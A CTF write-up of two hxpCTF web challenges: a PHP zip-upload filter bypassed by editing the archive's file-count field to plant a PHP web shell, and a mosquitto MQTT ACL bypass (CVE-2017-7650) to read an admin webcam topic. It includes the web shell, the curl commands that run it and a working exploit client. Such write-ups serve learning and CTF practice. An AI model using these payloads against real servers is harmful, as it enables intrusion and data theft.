hxp (web) - unpack0r, h4x0rpsch0rr

Description

I could only play hxpCTF during my downtime at Hushcon, but found the challenges extremely fun and engaging. I’ve split my posts into the crypto challenges and the web challenges. This post is about the web.

unpack0r

unpackbar
Connection: http://195.201.136.29:8087/

Upon visiting the page, we’re presented with what’s presumed to be the page source.

<?php
if (isset($_FILES['zip']) && $_FILES['zip']['size'] < 10*1024 ){
    $d = 'files/' . bin2hex(random_bytes(32));
    mkdir($d) || die('mkdir');
    chdir($d) || die('chdir');

    $zip = new ZipArchive();
    if ($zip->open($_FILES['zip']['tmp_name']) === TRUE) {
        for ($i = 0; $i < $zip->numFiles; $i++) {
            if(preg_match('/^[a-z]+$/', $zip->getNameIndex($i)) !== 1){
                die(':/ security');
            }
        }

        exec('unzip ' . escapeshellarg($_FILES['zip']['tmp_name']));
        echo $d;
    }
}
else {
    highlight_file(__FILE__);
}

From the source code, we see that the page supports zip file uploads. I wonder what that looks like - let’s test the upload functionality with an empty zip.

echo 'test' > ota

zip test.zip ota
    adding: ota (stored 0%)

curl http://195.201.136.29:8087 -F zip=@test.zip
    files/70c4ec668530f636ec753edbc69f3013a64caba935ebbcf496c2d84d3fb47761

curl http://195.201.136.29:8087/files/70c4ec668530f636ec753edbc69f3013a64caba935ebbcf496c2d84d3fb47761/ota
    test

Incredible! So the contents of the zip file are uploaded to the server and displayed back to us. The attack vector is clear, we need to display either a php pass-through page for bash or a php reverse shell. We’ll try both methods below.

From the source, if we are to upload a .php file, we must bypass the regex validation. The code performs a regex match for each file in the zip, where it gets the number of files from $zip->numFiles. What if we controlled that number? Let’s take a hexdump of the following two zips and see if we can notice where this data is stored.

cp ota ota2

zip test1.zip ota
    adding: ota (stored 0%)

zip test2.zip ota ota2
    adding: ota (stored 0%)

xxd test1.zip
    50 4B 03 04 0A 00 00 00 00 00 7A B3 97 4D C6 35 B9 3B 05
    00 00 00 05 00 00 00 03 00 1C 00 6F 74 61 55 54 09 00 03
    68 7C 20 5C 6A 7C 20 5C 75 78 0B 00 01 04 F5 01 00 00 04
    14 00 00 00 74 65 73 74 0A 50 4B 01 02 1E 03 0A 00 00 00
    00 00 7A B3 97 4D C6 35 B9 3B 05 00 00 00 05 00 00 00 03
    00 18 00 00 00 00 00 01 00 00 00 A4 81 00 00 00 00 6F 74
    61 55 54 05 00 03 68 7C 20 5C 75 78 0B 00 01 04 F5 01 00
    00 04 14 00 00 00 50 4B 05 06 00 00 00 00 01 00 01 00 49
    00 00 00 42 00 00 00 00 00                 ^     ^
                                               |     |
xxd test2.zip
    50 4B 03 04 0A 00 00 00 00 00 7A B3 97 4D C6 35 B9 3B 05
    00 00 00 05 00 00 00 03 00 1C 00 6F 74 61 55 54 09 00 03
    68 7C 20 5C 6E 7C 20 5C 75 78 0B 00 01 04 F5 01 00 00 04
    14 00 00 00 74 65 73 74 0A 50 4B 03 04 0A 00 00 00 00 00
    7B B3 97 4D C6 35 B9 3B 05 00 00 00 05 00 00 00 04 00 1C
    00 6F 74 61 32 55 54 09 00 03 6A 7C 20 5C 6B 7C 20 5C 75
    78 0B 00 01 04 F5 01 00 00 04 14 00 00 00 74 65 73 74 0A
    50 4B 01 02 1E 03 0A 00 00 00 00 00 7A B3 97 4D C6 35 B9
    3B 05 00 00 00 05 00 00 00 03 00 18 00 00 00 00 00 01 00
    00 00 A4 81 00 00 00 00 6F 74 61 55 54 05 00 03 68 7C 20
    5C 75 78 0B 00 01 04 F5 01 00 00 04 14 00 00 00 50 4B 01
    02 1E 03 0A 00 00 00 00 00 7B B3 97 4D C6 35 B9 3B 05 00
    00 00 05 00 00 00 04 00 18 00 00 00 00 00 01 00 00 00 A4
    81 42 00 00 00 6F 74 61 32 55 54 05 00 03 6A 7C 20 5C 75
    78 0B 00 01 04 F5 01 00 00 04 14 00 00 00 50 4B 05 06 00
    00 00 00 02 00 02 00 93 00 00 00 85 00 00 00 00 00
              ^     ^
              |     |

Right at the end we notice that two values seem unique to each zip; this value represents the number of files in the archive. So if trick the upload code to think that there’s only one file, it won’t perform a regex check against out php code! Let’s give it a shot.

echo "<?php if(_GET['chai']){ system(_GET['chai']); } ?>" > sh.php

zip ota.zip ota sh.php
    adding: ota (stored 0%)
    adding: sh.php (deflated 22%)

curl http://195.201.136.29:8087 -F zip=@ota.zip
    files/35b3b565956486899c204c899c799747a0d9ab6584d89bcd7b62db6abcdf267c

curl http://195.201.136.29:8087/files/35b3b565956486899c204c899c799747a0d9ab6584d89bcd7b62db6abcdf267c?chai=ls
    ota
    sh.php

Perfect! Now we can go get the flag.

curl http://195.201.136.29:8087/files/35b3b565956486899c204c899c799747a0d9ab6584d89bcd7b62db6abcdf267c/ota.php\?chai\=ls+/
    bin
    boot
    dev
    etc
    flag_WRLJSth9Xq54q5ZGNv8ppAT9.php
    home
    lib
    lib64
    media
    mnt
    opt
    proc
    root
    run
    sbin
    srv
    sys
    tmp
    usr
    var

curl http://195.201.136.29:8087/files/35b3b565956486899c204c899c799747a0d9ab6584d89bcd7b62db6abcdf267c/bbb.php\?chai\=cat+/flag_WRLJSth9Xq54q5ZGNv8ppAT9.php
    <?php
    'hxp{please_ask_gynvael_for_more_details_on_zips_:>}';

Note: We tried a reverse PHP shell (specifically pentestmonkey) and it seems the application won’t allow reverse connections (as expexted). See output below.

curl http://195.201.136.29:8087/files/3075a1f1910f2c423d852b164f57856f37b1bdc3fb5834b7ad0a9614c1495d23/rsh.php\
    WARNING: Failed to daemonise.  This is quite common and not fatal.
    Connection refused (111)

h4x0rpsch0rr

Finally a use case for those internet tingies!
Connection: http://195.201.136.29:8001/

Upon visiting the challenge, we land on an interesting page:

landing

The first thing we notice is an Admin Access panel in the bottom right corner, but let’s take a look at the page’s source code first.

<script src="mqtt.min.js"></script>
<script>
  var client = mqtt.connect('ws://' + location.hostname + ':60805')
  client.subscribe('hxp.io/temperature/Munich')

  client.on('message', function (topic, payload) {
    var temp = parseFloat(payload)
    var result = 'NO'

    /* secret formular, please no steal*/
    if (-273.15 <= temp && temp < Infinity) {
      result = 'YES'
    }
    document.getElementById('beer').innerText = result
  })
</script>

This seems to be the only interesting part of the code. It appears an MQTT server is running on port 60805, via websockets. The website is using this to determine if the temperature is appropriate for beer (hint: it always it!). I’m not familiar with MQTT, so let’s looks up to see what this service does, it’s typical uses, and how to connect as a client.

From a quick google search, we see MQTT is the standard protocol used for publish-subscribe based messaging, typically used to communicate with IOT devices. This is definitely giving me those internet tingles…let’s write a client and play around with this.

Using paho-mqtt, we install and dive into the doc. From the client section, we are provided with a functioning client! All we needed to do was edit the transport field in the Client constructor.

#!/usr/bin/env python
import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, rc):
    print("Connected with result code "+str(rc))
    client.subscribe("$SYS/#")

def on_message(client, userdata, msg):
    print(msg.topic+" "+str(msg.payload))

client = mqtt.Client(client_id="", clean_session=True, userdata=None, transport="websockets")
client.on_connect = on_connect
client.on_message = on_message

client.connect("127.0.0.1", 60805, 60)
client.loop_forever()

Connecting to the MQTT server and subscribing to $SYS/# provides us with the following:

Connected with result code 0
$SYS/broker/version mosquitto version 1.4.10
$SYS/broker/timestamp Wed, 17 Oct 2018 19:03:03 +0200
$SYS/broker/uptime 32230 seconds
$SYS/broker/clients/total 2
$SYS/broker/clients/inactive 2
$SYS/broker/clients/disconnected 2
$SYS/broker/clients/active 0
$SYS/broker/clients/connected 0
$SYS/broker/clients/expired 0
$SYS/broker/clients/maximum 3
$SYS/broker/messages/stored 36
$SYS/broker/messages/received 24525
$SYS/broker/messages/sent 0
$SYS/broker/subscriptions/count 2
$SYS/broker/retained messages/count 36
$SYS/broker/heap/current 15432
$SYS/broker/heap/maximum 188432
$SYS/broker/publish/messages/dropped 0
$SYS/broker/publish/messages/received 12226
$SYS/broker/publish/messages/sent 0
$SYS/broker/publish/bytes/received 259943210
$SYS/broker/publish/bytes/sent 259917616
$SYS/broker/bytes/received 260805668
$SYS/broker/bytes/sent 0
$SYS/broker/load/messages/received/1min 47.07
$SYS/broker/load/messages/received/5min 46.72
$SYS/broker/load/messages/received/15min 46.25
$SYS/broker/load/publish/received/1min 22.16
$SYS/broker/load/publish/received/5min 22.30
$SYS/broker/load/publish/received/15min 22.44
$SYS/broker/load/bytes/received/1min 473285.21
$SYS/broker/load/bytes/received/5min 476202.13
$SYS/broker/load/bytes/received/15min 477959.10
$SYS/broker/load/connections/1min 11.85
$SYS/broker/load/connections/5min 11.80
$SYS/broker/load/connections/15min 11.53
$SYS/broker/log/M/subscribe 1545679548: 41d48204-490f-4454-96e4-7da9b384bf97 0 $SYS/#
$SYS/broker/log/M/subscribe 1545679550: db83a45d-31c4-437b-be83-740d245a1469 0 $internal/admin/webcam
$SYS/broker/log/M/subscribe 1545679556: bc25fcf3-2f3f-4cc7-b625-3bcecae3eead 0 $internal/admin/webcam

That last one seems awfully interesting - internet tingies, take the wheel! After a dry run, it seems that simple subscribing to $internal/admin/webcam didn’t work. Let’s take a closer look at this specific version, maybe there’s a bypass.

Wow! Looks like there is an authentication bypass, see CVE-2017-7650. We simple set our client_id to an MQTT wildcard (e.g. # or +) in order to bypass ACL check. Here’s our final client.

#!/usr/bin/env python
import sys
import paho.mqtt.client as mqtt

def on_connect(client, userdata, flags, rc):
    print("Connected with result code "+str(rc))
    #client.subscribe("$SYS/#")
    client.subscribe("$internal/#")

def on_message(client, userdata, msg):
    #print(msg.topic+" "+str(msg.payload))
    with open("mqtt_out",'w+') as f:
        f.write(msg.payload)
        sys.exit()

client = mqtt.Client(client_id="#", clean_session=True, userdata=None, transport="websockets")
client.on_connect = on_connect
client.on_message = on_message

client.connect("195.201.136.29", 60805, 60)
client.loop_forever()

Running file on the output shows that it’s a JPEG file.

webcam

This must be for the admin page!

hxp{Air gap your beers :| - Prost!}